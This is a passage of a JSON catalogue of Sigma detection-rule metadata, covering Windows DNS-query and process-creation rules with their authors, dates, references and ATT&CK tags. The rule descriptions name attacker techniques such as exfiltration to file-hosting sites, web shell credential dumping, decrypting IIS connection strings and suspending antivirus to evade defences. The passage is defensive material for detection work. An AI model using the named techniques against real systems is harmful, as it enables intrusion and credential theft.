          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_teamviewer_domain_query_by_uncommon_app.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e",
      "value": "TeamViewer Domain Query By Non-TeamViewer Application"
    },
    {
      "description": "Detects DNS queries for subdomains related to MEGA sharing website",
      "meta": {
        "author": "Aaron Greetham (@beardofbinary) - NCC Group",
        "creation_date": "2021/05/26",
        "falsepositive": [
          "Legitimate DNS queries and usage of Mega"
        ],
        "filename": "dns_query_win_mega_nz.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3",
      "value": "DNS Query To MEGA Hosting Website"
    },
    {
      "description": "Detects DNS queries to \"ufile.io\", which was seen abused by malware and threat actors as a method for data exfiltration",
      "meta": {
        "author": "yatinwad, TheDFIRReport",
        "creation_date": "2022/06/23",
        "falsepositive": [
          "DNS queries for \"ufile\" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take"
        ],
        "filename": "dns_query_win_ufile_io_query.yml",
        "level": "low",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/12/13/diavol-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io_query.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b",
      "value": "DNS Query To Ufile.io"
    },
    {
      "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "dns_query_win_mal_cobaltstrike.yml",
        "level": "critical",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/",
          "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006",
      "value": "Suspicious Cobalt Strike DNS Beaconing - Sysmon"
    },
    {
      "description": "Detects DNS queries made by \"AppInstaller.EXE\". The AppInstaller is the default handler for the \"ms-appinstaller\" URI. It attempts to load/install a package from the referenced URL\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "dns_query_win_appinstaller.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/notwhickey/status/1333900137232523264",
          "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_appinstaller.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a",
      "value": "AppX Package Installation Attempts Via AppInstaller.EXE"
    },
    {
      "description": "Detects DNS queries initiated by \"Regsvr32.exe\"",
      "meta": {
        "author": "Dmitriy Lifanov, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "dns_query_win_regsvr32_dns_query.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/",
          "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_dns_query.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1559.001",
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955",
      "value": "DNS Query Request By Regsvr32.EXE"
    },
    {
      "description": "Detects DNS queries to an \".onion\" address related to Tor routing networks",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "dns_query_win_tor_onion_domain_query.yml",
        "level": "high",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion_domain_query.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544",
      "value": "DNS Query Tor .Onion Address - Sysmon"
    },
    {
      "description": "Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n",
      "meta": {
        "author": "citron_ninja",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate use of Devtunnels will also trigger this."
        ],
        "filename": "dns_query_win_devtunnels_communication.yml",
        "level": "medium",
        "logsource.category": "dns_query",
        "logsource.product": "windows",
        "refs": [
          "https://cydefops.com/devtunnels-unleashed",
          "https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security",
          "https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1cb0c6ce-3d00-44fc-ab9c-6d6d577bf20b",
      "value": "DNS Query To Devtunnels Domain"
    },
    {
      "description": "Detects execution of \"odbcconf\" with \"REGSVR\" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.",
      "meta": {
        "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "Legitimate DLLs being registered via \"odbcconf\" will generate false positives. Investigate the path of the DLL and its content to determine if the action is authorized."
        ],
        "filename": "proc_creation_win_odbcconf_register_dll_regsvr.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html",
          "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176",
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://redcanary.com/blog/raspberry-robin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f0a8bf3-a65b-440a-8c1e-5cb1547c8e70",
      "value": "New DLL Registered Via Odbcconf.EXE"
    },
    {
      "description": "Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_webshell_hacking.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://youtu.be/7aemGhaE9ds?t=641",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003",
          "attack.t1018",
          "attack.t1033",
          "attack.t1087"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9",
      "value": "Webshell Hacking Activity Patterns"
    },
    {
      "description": "Detects PowerShell commands that decrypt an \".LNK\" \"file to drop the next stage of the malware.",
      "meta": {
        "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/30",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_decrypt_pattern.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "434c08ba-8406-4d15-8b24-782cb071a691",
      "value": "PowerShell Execution With Potential Decryption Capabilities"
    },
    {
      "description": "Detects usage of cmdkey to add generic credentials. As an example, this has to be used before connecting to an RDP session via command line interface.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/03",
        "falsepositive": [
          "Legitimate usage for administration purposes"
        ],
        "filename": "proc_creation_win_cmdkey_adding_generic_creds.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1ec66c6-f4d1-4b5c-96dd-af28ccae7727",
      "value": "New Generic Credentials Added Via Cmdkey.EXE"
    },
    {
      "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_add_safeboot.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d",
      "value": "Add SafeBoot Keys Via Reg Utility"
    },
    {
      "description": "Detects when a user installs certificates by using CertOC.exe to load the target DLL file.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certoc_load_dll_susp_locations.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certoc/",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2",
          "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll_susp_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "84232095-ecca-4015-b0d7-7726507ee793",
      "value": "Suspicious DLL Loaded via CertOC.EXE"
    },
    {
      "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_service_dacl_modification_set_service.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings",
          "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_service_dacl_modification_set_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac",
      "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet"
    },
    {
      "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.",
      "meta": {
        "author": "Wojciech Lesicki",
        "creation_date": "2021/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_cobaltstrike_load_by_rundll32.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/threat-detection-report/",
          "https://www.cobaltstrike.com/help-windows-executable",
          "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_load_by_rundll32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529",
      "value": "CobaltStrike Load by Rundll32"
    },
    {
      "description": "Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_sysinternals_pssuspend_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1638069413717975046",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/pssuspend",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4beb6ae0-f85b-41e2-8f18-8668abc8af78",
      "value": "Sysinternals PsSuspend Suspicious Execution"
    },
    {
      "description": "Uses the .NET InstallUtil.exe application in order to execute image without log",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_instalutil_no_log_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool",
          "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "d042284c-a296-4988-9be5-f424fadcc28c",
      "value": "Suspicious Execution of InstallUtil Without Log"
    },
    {
      "description": "Detects execution of \"rundll32\" with potential obfuscated ordinal calls",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_obfuscated_ordinal_call.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "43fa5350-db63-4b8f-9a01-789a427074e1",
      "value": "Potential Obfuscated Ordinal Call Via Rundll32"
    },
    {
      "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_adfind.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/",
          "https://thedfirreport.com/2020/05/08/adfind-recon/",
          "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md",
          "https://www.joeware.net/freetools/tools/adfind/",
          "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
          "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_adfind.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018",
          "attack.t1087.002",
          "attack.t1482",
          "attack.t1069.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b",
      "value": "Renamed AdFind Execution"
    },
    {
      "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/11/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_whoami_as_param.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89",
      "value": "WhoAmI as Parameter"
    },
    {
      "description": "Execution of well known tools for data exfiltration and tunneling",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate Administrator using tools"
        ],
        "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.command_and_control",
          "attack.t1041",
          "attack.t1572",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555",
      "value": "Exfiltration and Tunneling Tools Execution"
    },
    {
      "description": "Detects suspicious parent process for cmd.exe",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_unusual_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_unusual_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b",
      "value": "Unusual Parent Process For Cmd.EXE"
    },
    {
      "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting",
      "meta": {
        "author": "Teymur Kheirkhabarov, Ecco, Florian Roth",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Commandlines containing components like cmd accidentally",
          "Jobs and services started with cmd"
        ],
        "filename": "proc_creation_win_hktl_meterpreter_getsystem.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_meterpreter_getsystem.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1134.001",
          "attack.t1134.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "15619216-e993-4721-b590-4c520615a67d",
      "value": "Potential Meterpreter/CobaltStrike Activity"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/20",
        "falsepositive": [
          "Legitimate use of AnyDesk from a non-standard folder"
        ],
        "filename": "proc_creation_win_remote_access_tools_anydesk_susp_exec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_susp_exec.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86",
      "value": "Remote Access Tool - Anydesk Execution From Suspicious Folder"
    },
    {
      "description": "Detects commands that temporarily turn off Volume Snapshots",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/01/28",
        "falsepositive": [
          "Legitimate administration"
        ],
        "filename": "proc_creation_win_reg_volsnap_disable.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1354766164166115331",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_volsnap_disable.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a",
      "value": "Disabled Volume Snapshots"
    },
    {
      "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_iis_connection_strings_decryption.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
